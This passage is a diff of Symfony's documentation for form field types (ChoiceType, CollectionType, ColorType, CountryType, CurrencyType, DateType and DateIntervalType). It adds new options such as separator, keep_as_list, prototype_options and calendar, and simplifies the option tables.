include:: /reference/forms/types/options/preferred_choices.rst.inc +``separator`` +~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``-------------------`` + +This option allows you to customize the visual separator shown after the preferred +choices. You can use HTML elements like ``<hr>`` to display a more modern separator, +but you'll also need to set the `separator_html`_ option to ``true``. + +.. versionadded:: 7.1 + + The ``separator`` option was introduced in Symfony 7.1. + +``separator_html`` +~~~~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +If this option is true, the `separator`_ option will be displayed as HTML instead +of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern +visual separator. + +.. versionadded:: 7.1 + + The ``separator_html`` option was introduced in Symfony 7.1. + Overridden Options ------------------ @@ -250,8 +239,7 @@ compound This option specifies if a form is compound. The value is by default overridden by the value of the ``expanded`` option. -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -259,8 +247,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc error_bubbling ~~~~~~~~~~~~~~ @@ -272,6 +259,8 @@ the parent field (the form in most cases). .. include:: /reference/forms/types/options/choice_type_trim.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -299,6 +288,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -336,6 +327,8 @@ Field Variables | placeholder | ``mixed`` | The empty value if not already in the list, otherwise | | | | ``null``. | +----------------------------+--------------+-------------------------------------------------------------------+ +| placeholder_attr | ``array`` | The value of the `placeholder_attr`_ option. | ++----------------------------+--------------+-------------------------------------------------------------------+ | choice_translation_domain | ``mixed`` | ``boolean``, ``null`` or ``string`` to determine if the value | | | | should be translated. | +----------------------------+--------------+-------------------------------------------------------------------+ @@ -347,5 +340,41 @@ Field Variables .. tip:: - It's significantly faster to use the :ref:`form-twig-selectedchoice` - test instead when using Twig. + In Twig template, instead of using ``is_selected()``, it's significantly + faster to use the :ref:`selectedchoice <form-twig-selectedchoice>` test. + +Accessing Form Choice Data +.......................... + +The ``form.vars`` variable of each choice entry holds data such as whether the +choice is selected or not. If you need to get the full list of choices data and +values, use the ``choices`` variable from the parent form of the choice entry +(which is the ``ChoiceType`` itself) with ``form.parent.vars.choices``:: + +.. code-block:: twig + + {# `true` or `false`, whether the current choice is selected as radio or checkbox #} + {{ form.vars.data }} + + {# the current choice value (i.e a category name when `'choice_value' => 'name'` #} + {{ form.vars.value }} + + {# a map of `ChoiceView` or `ChoiceGroupView` instances indexed by choice values or group names #} + {{ form.parent.vars.choices }} + +Following the same advanced example as above (where choices values are entities), +the ``Category`` object is inside ``form.parent.vars.choices[key].data``:: + +.. code-block:: html+twig + + {% block _form_categories_entry_widget %} + {% set entity = form.parent.vars.choices[form.vars.value].data %} + + <tr> + <td>{{ form_widget(form) }}</td> + <td>{{ form.vars.label }}</td> + <td> + {{ entity.name }} | {{ entity.group }} + </td> + </tr> + {% endblock %} diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst index f3f0c8f4562..2875ba076d0 100644 --- a/reference/forms/types/collection.rst +++ b/reference/forms/types/collection.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; CollectionType - CollectionType Field ==================== @@ -11,37 +8,18 @@ forms, which is useful when creating forms that expose one-to-many relationships (e.g. a product from where you can manage many related product photos). -+-------------+-----------------------------------------------------------------------------+ -| Rendered as | depends on the `entry_type`_ option | -+-------------+-----------------------------------------------------------------------------+ -| Options | - `allow_add`_ | -| | - `allow_delete`_ | -| | - `delete_empty`_ | -| | - `entry_options`_ | -| | - `entry_type`_ | -| | - `prototype`_ | -| | - `prototype_data`_ | -| | - `prototype_name`_ | -+-------------+-----------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `by_reference`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+-----------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+-----------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` | -+-------------+-----------------------------------------------------------------------------+ +When rendered, existing collection entries are indexed by the keys of the array +that is passed as the collection type field data. + ++---------------------------+--------------------------------------------------------------------------+ +| Rendered as | depends on the `entry_type`_ option | ++---------------------------+--------------------------------------------------------------------------+ +| Default invalid message | The collection is invalid. | ++---------------------------+--------------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+--------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` | ++---------------------------+--------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -103,114 +81,6 @@ existing addresses. Adding new addresses is possible by using the `allow_add`_ option (and optionally the `prototype`_ option) (see example below). Removing emails from the ``emails`` array is possible with the `allow_delete`_ option. -Adding and Removing Items -~~~~~~~~~~~~~~~~~~~~~~~~~ - -If `allow_add`_ is set to ``true``, then if any unrecognized items are submitted, -they'll be added seamlessly to the array of items. This is great in theory, -but takes a little bit more effort in practice to get the client-side JavaScript -correct. - -Following along with the previous example, suppose you start with two -emails in the ``emails`` data array. In that case, two input fields will -be rendered that will look something like this (depending on the name of -your form): - -.. code-block:: html - - <input type="email" id="form_emails_0" name="form[emails][0]" value="foo@foo.com"/> - <input type="email" id="form_emails_1" name="form[emails][1]" value="bar@bar.com"/> - -To allow your user to add another email, just set `allow_add`_ to ``true`` -and - via JavaScript - render another field with the name ``form[emails][2]`` -(and so on for more and more fields). - -To help make this easier, setting the `prototype`_ option to ``true`` allows -you to render a "template" field, which you can then use in your JavaScript -to help you dynamically create these new fields. A rendered prototype field -will look like this: - -.. code-block:: html - - <input type="email" - id="form_emails___name__" - name="form[emails][__name__]" - value="" - /> - -By replacing ``__name__`` with some unique value (e.g. ``2``), -you can build and insert new HTML fields into your form. - -Using jQuery, a simple example might look like this. If you're rendering -your collection fields all at once (e.g. ``form_row(form.emails)``), then -things are even easier because the ``data-prototype`` attribute is rendered -automatically for you (with a slight difference - see note below) and all -you need is this JavaScript code: - -.. code-block:: javascript - - // add-collection-widget.js - jQuery(document).ready(function () { - jQuery('.add-another-collection-widget').click(function (e) { - var list = jQuery(jQuery(this).attr('data-list-selector')); - // Try to find the counter of the list or use the length of the list - var counter = list.data('widget-counter') || list.children().length; - - // grab the prototype template - var newWidget = list.attr('data-prototype'); - // replace the "__name__" used in the id and name of the prototype - // with a number that's unique to your emails - // end name attribute looks like name="contact[emails][2]" - newWidget = newWidget.replace(/__name__/g, counter); - // Increase the counter - counter++; - // And store it, the length cannot be used if deleting widgets is allowed - list.data('widget-counter', counter); - - // create a new list element and add it to the list - var newElem = jQuery(list.attr('data-widget-tags')).html(newWidget); - newElem.appendTo(list); - }); - }); - -And update the template as follows: - -.. code-block:: html+twig - - {{ form_start(form) }} - {# ... #} - - {# store the prototype on the data-prototype attribute #} - <ul id="email-fields-list" - data-prototype="{{ form_widget(form.emails.vars.prototype)|e }}" - data-widget-tags="{{ '<li></li>'|e }}" - data-widget-counter="{{ form.emails|length }}"> - {% for emailField in form.emails %} - <li> - {{ form_errors(emailField) }} - {{ form_widget(emailField) }} - </li> - {% endfor %} - </ul> - - <button type="button" - class="add-another-collection-widget" - data-list-selector="#email-fields-list">Add another email</button> - - {# ... #} - {{ form_end(form) }} - - <script src="add-collection-widget.js"></script> - -.. tip:: - - If you're rendering the entire collection at once, then the prototype - is automatically available on the ``data-prototype`` attribute of the - element (e.g. ``div`` or ``table``) that surrounds your collection. - The only difference is that the entire "form row" is rendered for you, - meaning you wouldn't have to wrap it in any container element as it - was done above. - Field Options ------------- @@ -229,7 +99,7 @@ can be used - with JavaScript - to create new form items dynamically on the client side. For more information, see the above example and :ref:`form-collections-new-prototype`. -.. caution:: +.. warning:: If you're embedding entire other forms to reflect a one-to-many database relationship, you may need to manually ensure that the foreign key of @@ -249,7 +119,7 @@ submitted data will mean that it's removed from the final array. For more information, see :ref:`form-collections-remove`. -.. caution:: +.. warning:: Be careful when using this option when you're embedding a collection of objects. In this case, if any embedded forms are removed, they *will* @@ -269,7 +139,7 @@ form you have to set this option to ``true``. However, existing collection entri will only be deleted if you have the allow_delete_ option enabled. Otherwise the empty values will be kept. -.. caution:: +.. warning:: The ``delete_empty`` option only removes items when the normalized value is ``null``. If the nested `entry_type`_ is a compound form type, you must @@ -288,7 +158,7 @@ the value is removed from the collection. For example:: $builder->add('users', CollectionType::class, [ // ... - 'delete_empty' => function (User $user = null) { + 'delete_empty' => function (?User $user = null): bool { return null === $user || empty($user->getFirstName()); }, ]); @@ -323,10 +193,33 @@ type:: ], ]); +prototype_options +~~~~~~~~~~~~~~~~~ + +**type**: ``array`` **default**: ``[]`` + +This is the array that's passed to the form type specified in the `entry_type`_ +option when creating its prototype. It allows to have different options depending +on whether you are adding a new entry or editing an existing entry:: + + use Symfony\Component\Form\Extension\Core\Type\CollectionType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + // ... + + $builder->add('names', CollectionType::class, [ + 'entry_type' => TextType::class, + 'entry_options' => [ + 'help' => 'You can edit this name here.', + ], + 'prototype_options' => [ + 'help' => 'You can enter a new name here.', + ], + ]); + entry_type ~~~~~~~~~~ -**type**: ``string`` **default**: ``'Symfony\Component\Form\Extension\Core\Type\TextType'`` +**type**: ``string`` **default**: ``Symfony\Component\Form\Extension\Core\Type\TextType`` This is the field type for each item in this collection (e.g. ``TextType``, ``ChoiceType``, etc). For example, if you have an array of email addresses, @@ -334,6 +227,27 @@ you'd use the :doc:`EmailType </reference/forms/types/email>`. If you want to embed a collection of some other form, pass the form type class as this option (e.g. ``MyFormType::class``). +keep_as_list +~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +When set to ``true``, the ``keep_as_list`` option affects the reindexing +of nested form names within a collection. This feature is particularly useful +when working with collection types and removing items from the collection +during form submission. + +When this option is set to ``false``, if you have a collection of 3 items and +you remove the second item, the indexes will be ``0`` and ``2`` when validating +the collection. However, by enabling the ``keep_as_list`` option and setting +it to ``true``, the indexes will be reindexed as ``0`` and ``1``. This ensures +that the indexes remain consecutive and do not have gaps, providing a clearer +and more predictable structure for your nested forms. + +.. versionadded:: 7.1 + + The ``keep_as_list`` option was introduced in Symfony 7.1. + prototype ~~~~~~~~~ @@ -396,6 +310,11 @@ If you have several collections in your form, or worse, nested collections you may want to change the placeholder so that unrelated placeholders are not replaced with the same value. +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -408,13 +327,11 @@ Not all options are listed here - only the most applicable to this type: .. include:: /reference/forms/types/options/by_reference.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc error_bubbling ~~~~~~~~~~~~~~ @@ -435,6 +352,8 @@ error_bubbling .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst index a290b31e673..b205127fb91 100644 --- a/reference/forms/types/color.rst +++ b/reference/forms/types/color.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; ColorType - ColorType Field =============== @@ -14,32 +11,15 @@ The value of the underlying ``<input type="color">`` field is always a That's why it's not possible to select semi-transparent colors with this element. -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``color`` field (a text box) | -+-------------+---------------------------------------------------------------------+ -| Options | - `html5`_ | -+-------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` | -+-------------+---------------------------------------------------------------------+ ++---------------------------+---------------------------------------------------------------------+ +| Rendered as | ``input`` ``color`` field (a text box) | ++---------------------------+---------------------------------------------------------------------+ +| Default invalid message | Please select a valid color. | ++---------------------------+---------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+---------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` | ++---------------------------+---------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -49,16 +29,17 @@ Field Options html5 ~~~~~ -**type**: ``bool`` **default**: ``false`` - -.. versionadded:: 5.1 - - This option was introduced in Symfony 5.1. +**type**: ``boolean`` **default**: ``false`` When this option is set to ``true``, the form type checks that its value matches the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it, you'll see the following error message: *"This value is not a valid HTML5 color"*. +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -70,13 +51,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -92,6 +71,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -102,4 +83,4 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/trim.rst.inc -.. _`HTML5 color format`: https://www.w3.org/TR/html52/sec-forms.html#color-state-typecolor +.. _`HTML5 color format`: https://html.spec.whatwg.org/multipage/input.html#color-state-(type=color) diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst index f4082e498e8..6c98897b6ba 100644 --- a/reference/forms/types/country.rst +++ b/reference/forms/types/country.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; country - CountryType Field ================= @@ -18,45 +15,15 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the field type automatically uses all of the countries of the world. You *can* specify the option manually, but then you should just use the ``ChoiceType`` directly. -+-------------+-----------------------------------------------------------------------+ -| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | -+-------------+-----------------------------------------------------------------------+ -| Options | - `alpha3`_ | -| | - `choice_translation_locale`_ | -+-------------+-----------------------------------------------------------------------+ -| Overridden | - `choices`_ | -| options | - `choice_translation_domain`_ | -+-------------+-----------------------------------------------------------------------+ -| Inherited | from the :doc:`ChoiceType </reference/forms/types/choice>` | -| options | | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `expanded`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -| | - `trim`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>` | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+-----------------------------------------------------------------------+ -| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | -+-------------+-----------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` | -+-------------+-----------------------------------------------------------------------+ ++---------------------------+-----------------------------------------------------------------------+ +| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | ++---------------------------+-----------------------------------------------------------------------+ +| Default invalid message | Please select a valid country. | ++---------------------------+-----------------------------------------------------------------------+ +| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | ++---------------------------+-----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` | ++---------------------------+-----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -85,18 +52,22 @@ Overridden Options The country type defaults the ``choices`` option to the whole list of countries. The locale is used to translate the countries names. -.. caution:: +.. warning:: If you want to override the built-in choices of the country type, you will also have to set the ``choice_loader`` option to ``null``. .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`: +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + .. include:: /reference/forms/types/options/error_bubbling.rst.inc .. include:: /reference/forms/types/options/error_mapping.rst.inc @@ -107,6 +78,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>` .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + .. include:: /reference/forms/types/options/preferred_choices.rst.inc .. include:: /reference/forms/types/options/choice_type_trim.rst.inc @@ -119,8 +92,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -128,8 +100,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/help.rst.inc @@ -141,6 +112,8 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst index 77da0481942..94c0d2cddc8 100644 --- a/reference/forms/types/currency.rst +++ b/reference/forms/types/currency.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; currency - CurrencyType Field ================== @@ -11,43 +8,15 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the field type automatically uses a large list of currencies. You *can* specify the option manually, but then you should just use the ``ChoiceType`` directly. -+-------------+------------------------------------------------------------------------+ -| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | -+-------------+------------------------------------------------------------------------+ -| Options | - `choice_translation_locale`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `choices`_ | -| options | - `choice_translation_domain`_ | -+-------------+------------------------------------------------------------------------+ -| Inherited | from the :doc:`ChoiceType </reference/forms/types/choice>` | -| options | | -| | - `error_bubbling`_ | -| | - `expanded`_ | -| | - `multiple`_ | -| | - `placeholder`_ | -| | - `preferred_choices`_ | -| | - `trim`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>` type | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+------------------------------------------------------------------------+ +| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`) | ++---------------------------+------------------------------------------------------------------------+ +| Default invalid message | Please select a valid currency. | ++---------------------------+------------------------------------------------------------------------+ +| Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | ++---------------------------+------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` | ++---------------------------+------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -66,18 +35,22 @@ Overridden Options The choices option defaults to all currencies. -.. caution:: +.. warning:: If you want to override the built-in choices of the currency type, you will also have to set the ``choice_loader`` option to ``null``. .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`: +.. include:: /reference/forms/types/options/duplicate_preferred_choices.rst.inc + .. include:: /reference/forms/types/options/error_bubbling.rst.inc .. include:: /reference/forms/types/options/expanded.rst.inc @@ -86,6 +59,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>` .. include:: /reference/forms/types/options/placeholder.rst.inc +.. include:: /reference/forms/types/options/placeholder_attr.rst.inc + .. include:: /reference/forms/types/options/preferred_choices.rst.inc .. include:: /reference/forms/types/options/choice_type_trim.rst.inc @@ -98,8 +73,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The actual default value of this option depends on other field options: @@ -107,8 +81,7 @@ The actual default value of this option depends on other field options: (empty string); * Otherwise ``[]`` (empty array). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/help.rst.inc @@ -120,6 +93,8 @@ The actual default value of this option depends on other field options: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst index 582b5bef6ff..210fff5dd0d 100644 --- a/reference/forms/types/date.rst +++ b/reference/forms/types/date.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; DateType - DateType Field ============== @@ -10,46 +7,17 @@ different HTML elements. This field can be rendered in a variety of different ways via the `widget`_ option and can understand a number of different input formats via the `input`_ option. -+----------------------+-----------------------------------------------------------------------------+ -| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) | -+----------------------+-----------------------------------------------------------------------------+ -| Rendered as | single text box or three select fields | -+----------------------+-----------------------------------------------------------------------------+ -| Options | - `days`_ | -| | - `placeholder`_ | -| | - `format`_ | -| | - `html5`_ | -| | - `input`_ | -| | - `input_format`_ | -| | - `model_timezone`_ | -| | - `months`_ | -| | - `view_timezone`_ | -| | - `widget`_ | -| | - `years`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Overridden options | - `by_reference`_ | -| | - `choice_translation_domain`_ | -| | - `compound`_ | -| | - `data_class`_ | -| | - `error_bubbling`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+----------------------+-----------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType` | -+----------------------+-----------------------------------------------------------------------------+ ++---------------------------+-----------------------------------------------------------------------------+ +| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) | ++---------------------------+-----------------------------------------------------------------------------+ +| Rendered as | single text box or three select fields | ++---------------------------+-----------------------------------------------------------------------------+ +| Default invalid message | Please enter a valid date. | ++---------------------------+-----------------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+-----------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType` | ++---------------------------+-----------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -133,7 +101,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan the format and will throw a validation error. You can also configure the format that Symfony should expect via the `format`_ option. -.. caution:: +.. warning:: The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``) may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because @@ -164,7 +132,7 @@ values for the year, month and day fields:: $builder->add('dueDate', DateType::class, [ 'placeholder' => [ 'year' => 'Year', 'month' => 'Month', 'day' => 'Day', - ] + ], ]); .. _reference-forms-type-date-format: @@ -185,6 +153,20 @@ values for the year, month and day fields:: .. include:: /reference/forms/types/options/view_timezone.rst.inc +``calendar`` +~~~~~~~~~~~~ + +**type**: ``integer`` or ``\IntlCalendar`` **default**: ``null`` + +The calendar to use for formatting and parsing the date. The value should be +an ``integer`` from :phpclass:`IntlDateFormatter` calendar constants or an instance +of the :phpclass:`IntlCalendar` to use. By default, the Gregorian calendar +with the application default locale is used. + +.. versionadded:: 7.2 + + The ``calendar`` option was introduced in Symfony 7.2. + .. include:: /reference/forms/types/options/date_widget.rst.inc .. include:: /reference/forms/types/options/years.rst.inc @@ -210,6 +192,8 @@ The ``DateTime`` classes are treated as immutable objects. **default**: ``false`` +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -231,8 +215,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/inherit_data.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst index 84986f93c87..838ae2bbdef 100644 --- a/reference/forms/types/dateinterval.rst +++ b/reference/forms/types/dateinterval.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; DateIntervalType - DateIntervalType Field ====================== @@ -12,47 +9,17 @@ The field can be rendered in a variety of different ways (see `widget`_) and can give you a ``DateInterval`` object, an `ISO 8601`_ duration string (e.g. ``P1DT12H``) or an array (see `input`_). -+----------------------+----------------------------------------------------------------------------------+ -| Underlying Data Type | can be ``DateInterval``, string or array (see the ``input`` option) | -+----------------------+----------------------------------------------------------------------------------+ -| Rendered as | single text box, multiple text boxes or select fields - see the `widget`_ option | -+----------------------+----------------------------------------------------------------------------------+ -| Options | - `days`_ | -| | - `hours`_ | -| | - `minutes`_ | -| | - `months`_ | -| | - `seconds`_ | -| | - `weeks`_ | -| | - `input`_ | -| | - `labels`_ | -| | - `placeholder`_ | -| | - `widget`_ | -| | - `with_days`_ | -| | - `with_hours`_ | -| | - `with_invert`_ | -| | - `with_minutes`_ | -| | - `with_months`_ | -| | - `with_seconds`_ | -| | - `with_weeks`_ | -| | - `with_years`_ | -| | - `years`_ | -+----------------------+----------------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+----------------------+----------------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+----------------------+----------------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType` | -+----------------------+----------------------------------------------------------------------------------+ ++---------------------------+----------------------------------------------------------------------------------+ +| Underlying Data Type | can be ``DateInterval``, string or array (see the ``input`` option) | ++---------------------------+----------------------------------------------------------------------------------+ +| Rendered as | single text box, multiple text boxes or select fields - see the `widget`_ option | ++---------------------------+----------------------------------------------------------------------------------+ +| Default invalid message | Please choose a valid date interval. | ++---------------------------+----------------------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+----------------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType` | 